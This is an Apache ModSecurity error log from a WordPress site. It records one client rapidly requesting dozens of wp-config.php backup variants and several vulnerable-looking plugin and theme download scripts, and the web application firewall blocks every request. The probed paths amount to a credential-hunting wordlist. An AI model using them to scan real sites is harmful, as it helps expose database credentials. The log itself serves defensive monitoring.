[Sun Dec 07 23:35:25.945156 2025] [:error] [pid 9961:tid 9976] [client 159.26.110.84:4053] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php-old"] [unique_id "aTWevWQdnfbgcnzr89KP5gAAAU0"]
[Sun Dec 07 23:35:27.610720 2025] [:error] [pid 9961:tid 9978] [client 159.26.110.84:24154] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.old" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.old"] [unique_id "aTWev2Qdnfbgcnzr89KP5wAAAU8"]
[Sun Dec 07 23:35:29.267855 2025] [:error] [pid 5222:tid 5249] [client 159.26.110.84:14803] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.orig"] [unique_id "aTWewd8FU0HgkYWmt7tbkgAAAFc"]
[Sun Dec 07 23:35:30.904968 2025] [:error] [pid 5222:tid 5247] [client 159.26.110.84:60641] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php_bak"] [unique_id "aTWewt8FU0HgkYWmt7tblQAAAFU"]
[Sun Dec 07 23:35:32.559611 2025] [:error] [pid 5224:tid 5291] [client 159.26.110.84:44597] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.bak" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.bak"] [unique_id "aTWexPAAkbWt7RJBoF8G2wAAAMo"]
[Sun Dec 07 23:35:34.202082 2025] [:error] [pid 5223:tid 5266] [client 159.26.110.84:24237] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/multi-plugin-installer/mpi_download.php"] [unique_id "aTWexvoRJa-T0FB0DNoIaAAAAIw"]
[Sun Dec 07 23:35:35.868217 2025] [:error] [pid 5223:tid 5273] [client 159.26.110.84:7786] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.bk"] [unique_id "aTWex_oRJa-T0FB0DNoIaQAAAJM"]
[Sun Dec 07 23:35:37.499928 2025] [:error] [pid 9961:tid 9969] [client 159.26.110.84:13981] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php2"] [unique_id "aTWeyWQdnfbgcnzr89KP9wAAAUY"]
[Sun Dec 07 23:35:39.114288 2025] [:error] [pid 9961:tid 9973] [client 159.26.110.84:60575] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php"] [unique_id "aTWey2Qdnfbgcnzr89KP-AAAAUo"]
[Sun Dec 07 23:35:40.742796 2025] [:error] [pid 9610:tid 9633] [client 159.26.110.84:59883] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.txt" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.txt"] [unique_id "aTWezMZ4Zl9G0UhQ7w1d-QAAARU"]
[Sun Dec 07 23:35:42.360077 2025] [:error] [pid 5223:tid 5268] [client 159.26.110.84:36446] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.bkp"] [unique_id "aTWezvoRJa-T0FB0DNoIcQAAAI4"]
[Sun Dec 07 23:35:43.989071 2025] [:error] [pid 5223:tid 5263] [client 159.26.110.84:63442] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php-bak"] [unique_id "aTWez_oRJa-T0FB0DNoIeAAAAIk"]
[Sun Dec 07 23:35:45.605060 2025] [:error] [pid 5222:tid 5232] [client 159.26.110.84:7175] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php_orig"] [unique_id "aTWe0d8FU0HgkYWmt7tbpwAAAEY"]
[Sun Dec 07 23:35:49.298201 2025] [:error] [pid 9610:tid 9616] [client 159.26.110.84:11750] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.txt"] [unique_id "aTWe1cZ4Zl9G0UhQ7w1d_QAAAQQ"]
[Sun Dec 07 23:35:50.935439 2025] [:error] [pid 9610:tid 9628] [client 159.26.110.84:10948] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php_bk"] [unique_id "aTWe1sZ4Zl9G0UhQ7w1d_gAAARA"]
[Sun Dec 07 23:35:52.566330 2025] [:error] [pid 9961:tid 9980] [client 159.26.110.84:35421] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php__"] [unique_id "aTWe2GQdnfbgcnzr89KQJQAAAVE"]
[Sun Dec 07 23:35:54.207443 2025] [:error] [pid 5222:tid 5237] [client 159.26.110.84:48707] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/mTheme-Unus/css/css.php"] [unique_id "aTWe2t8FU0HgkYWmt7tbrAAAAEs"]
[Sun Dec 07 23:35:55.844688 2025] [:error] [pid 9610:tid 9623] [client 159.26.110.84:21161] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php_original"] [unique_id "aTWe28Z4Zl9G0UhQ7w1eBAAAAQs"]
[Sun Dec 07 23:35:57.466238 2025] [:error] [pid 5223:tid 5277] [client 159.26.110.84:56923] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php_backup"] [unique_id "aTWe3foRJa-T0FB0DNoIfwAAAJc"]
[Sun Dec 07 23:35:59.117460 2025] [:error] [pid 5224:tid 5295] [client 159.26.110.84:23015] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php-original"] [unique_id "aTWe3_AAkbWt7RJBoF8G_wAAAM4"]
[Sun Dec 07 23:36:00.749117 2025] [:error] [pid 9610:tid 9635] [client 159.26.110.84:57461] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.original"] [unique_id "aTWe4MZ4Zl9G0UhQ7w1eCAAAARc"]
[Sun Dec 07 23:36:02.374150 2025] [:error] [pid 5222:tid 5226] [client 159.26.110.84:1062] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php-"] [unique_id "aTWe4t8FU0HgkYWmt7tbtAAAAEA"]
[Sun Dec 07 23:36:03.981847 2025] [:error] [pid 5312:tid 5321] [client 159.26.110.84:21590] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php"] [unique_id "aTWe4-aM49rasZGg_o4gZgAAAAc"]
[Sun Dec 07 23:36:05.615320 2025] [:error] [pid 5224:tid 5292] [client 159.26.110.84:54477] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/adaptive-images/adaptive-images-script.php"] [unique_id "aTWe5fAAkbWt7RJBoF8HBwAAAMs"]
[Sun Dec 07 23:36:07.241786 2025] [:error] [pid 9610:tid 9632] [client 159.26.110.84:5817] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp%E2%80%94admin/admin%E2%80%94ajax.php"] [unique_id "aTWe58Z4Zl9G0UhQ7w1eEQAAARQ"]
[Sun Dec 07 23:36:08.874943 2025] [:error] [pid 5312:tid 5329] [client 159.26.110.84:48460] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aTWe6OaM49rasZGg_o4gbAAAAA8"]
[Sun Dec 07 23:36:10.497405 2025] [:error] [pid 5224:tid 5298] [client 159.26.110.84:2745] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php-backup"] [unique_id "aTWe6vAAkbWt7RJBoF8HDQAAANE"]
[Sun Dec 07 23:36:12.107769 2025] [:error] [pid 5223:tid 5255] [client 159.26.110.84:18203] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTWe7PoRJa-T0FB0DNoIjgAAAIE"]
[Sun Dec 07 23:36:13.716208 2025] [:error] [pid 5223:tid 5265] [client 159.26.110.84:2142] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/tools.php"] [unique_id "aTWe7foRJa-T0FB0DNoIjwAAAIs"]
[Sun Dec 07 23:36:15.356631 2025] [:error] [pid 5222:tid 5227] [client 159.26.110.84:38522] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/google-mp3-audio-player/direct_download.php"] [unique_id "aTWe798FU0HgkYWmt7tbwwAAAEE"]
[Sun Dec 07 23:36:19.207909 2025] [:error] [pid 9961:tid 9986] [client 159.26.110.84:42014] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/tools.php"] [unique_id "aTWe82Qdnfbgcnzr89KQegAAAVc"]
[Sun Dec 07 23:36:20.902406 2025] [:error] [pid 5222:tid 5247] [client 159.26.110.84:60732] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/wp-config.backup"] [unique_id "aTWe9N8FU0HgkYWmt7tbyQAAAFU"]
[Sun Dec 07 23:36:21.226347 2025] [:error] [pid 5222:tid 5233] [client 159.26.110.84:60732] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.new"] [unique_id "aTWe9d8FU0HgkYWmt7tbygAAAEc"]
[Sun Dec 07 23:36:22.930682 2025] [:error] [pid 5224:tid 5288] [client 159.26.110.84:24796] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.save.1"] [unique_id "aTWe9vAAkbWt7RJBoF8HFwAAAMc"]
[Sun Dec 07 23:36:26.548183 2025] [:error] [pid 5222:tid 5245] [client 159.26.110.84:46809] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.dist"] [unique_id "aTWe-t8FU0HgkYWmt7tb0wAAAFM"]
[Sun Dec 07 23:36:28.219295 2025] [:error] [pid 5312:tid 5325] [client 159.26.110.84:57934] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php0"] [unique_id "aTWe_OaM49rasZGg_o4gggAAAAs"]
[Sun Dec 07 23:36:29.840923 2025] [:error] [pid 9610:tid 9635] [client 159.26.110.84:39372] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "aTWe_cZ4Zl9G0UhQ7w1eIQAAARc"]
[Sun Dec 07 23:36:31.450490 2025] [:error] [pid 9610:tid 9616] [client 159.26.110.84:26513] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.phpbak"] [unique_id "aTWe_8Z4Zl9G0UhQ7w1eIgAAAQQ"]
[Sun Dec 07 23:36:33.106882 2025] [:error] [pid 5312:tid 5323] [client 159.26.110.84:61882] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin.php"] [unique_id "aTWfAeaM49rasZGg_o4ghwAAAAk"]
[Sun Dec 07 23:36:34.765278 2025] [:error] [pid 5312:tid 5327] [client 159.26.110.84:50057] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/authentic/includes/download.php"] [unique_id "aTWfAuaM49rasZGg_o4giQAAAA0"]
[Sun Dec 07 23:36:36.419089 2025] [:error] [pid 9961:tid 9979] [client 159.26.110.84:14286] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.1"] [unique_id "aTWfBGQdnfbgcnzr89KQhQAAAVA"]
[Sun Dec 07 23:36:40.033326 2025] [:error] [pid 5312:tid 5329] [client 159.26.110.84:29231] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/churchope/lib/downloadlink.php"] [unique_id "aTWfCOaM49rasZGg_o4gkQAAAA8"]
[Sun Dec 07 23:36:41.657448 2025] [:error] [pid 5223:tid 5278] [client 159.26.110.84:50653] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.resetwp_bak"] [unique_id "aTWfCfoRJa-T0FB0DNoIpwAAAJg"]
[Sun Dec 07 23:36:43.337837 2025] [:error] [pid 9961:tid 9967] [client 159.26.110.84:12365] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php_1"] [unique_id "aTWfC2Qdnfbgcnzr89KQkQAAAUQ"]
[Sun Dec 07 23:36:44.965319 2025] [:error] [pid 9961:tid 9973] [client 159.26.110.84:3021] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php_new"] [unique_id "aTWfDGQdnfbgcnzr89KQkwAAAUo"]
[Sun Dec 07 23:36:46.598060 2025] [:error] [pid 9610:tid 9634] [client 159.26.110.84:17578] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.phpn"] [unique_id "aTWfDsZ4Zl9G0UhQ7w1ePAAAARY"]
[Sun Dec 07 23:36:50.185499 2025] [:error] [pid 5223:tid 5268] [client 159.26.110.84:39051] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.local"] [unique_id "aTWfEvoRJa-T0FB0DNoIrwAAAI4"]
[Sun Dec 07 23:36:51.879319 2025] [:error] [pid 9610:tid 9631] [client 159.26.110.84:37342] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.dev"] [unique_id "aTWfE8Z4Zl9G0UhQ7w1eQgAAARM"]
[Sun Dec 07 23:36:57.129794 2025] [:error] [pid 5222:tid 5226] [client 159.26.110.84:28183] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wpsite-background-takeover/exports/download.php"] [unique_id "aTWfGd8FU0HgkYWmt7tb6wAAAEA"]
[Sun Dec 07 23:36:58.748644 2025] [:error] [pid 5312:tid 5318] [client 159.26.110.84:52564] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php."] [unique_id "aTWfGuaM49rasZGg_o4gqAAAAAQ"]
[Sun Dec 07 23:37:00.357458 2025] [:error] [pid 5222:tid 5246] [client 159.26.110.84:12677] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.phpr"] [unique_id "aTWfHN8FU0HgkYWmt7tb8QAAAFQ"]
[Sun Dec 07 23:37:01.986069 2025] [:error] [pid 5224:tid 5284] [client 159.26.110.84:14567] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.disabled"] [unique_id "aTWfHfAAkbWt7RJBoF8HMwAAAMM"]
[Sun Dec 07 23:37:03.593042 2025] [:error] [pid 5223:tid 5277] [client 159.26.110.84:47391] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/google-document-embedder/libs/pdf.php"] [unique_id "aTWfH_oRJa-T0FB0DNoIvgAAAJc"]
[Sun Dec 07 23:37:08.779346 2025] [:error] [pid 5312:tid 5333] [client 159.26.110.84:15046] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-hide-security-enhancer/router/file-process.php"] [unique_id "aTWfJOaM49rasZGg_o4grgAAABM"]
[Sun Dec 07 23:37:10.403129 2025] [:error] [pid 5224:tid 5300] [client 159.26.110.84:37792] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/wp-config-sample.php.bak"] [unique_id "aTWfJvAAkbWt7RJBoF8HOQAAANM"]
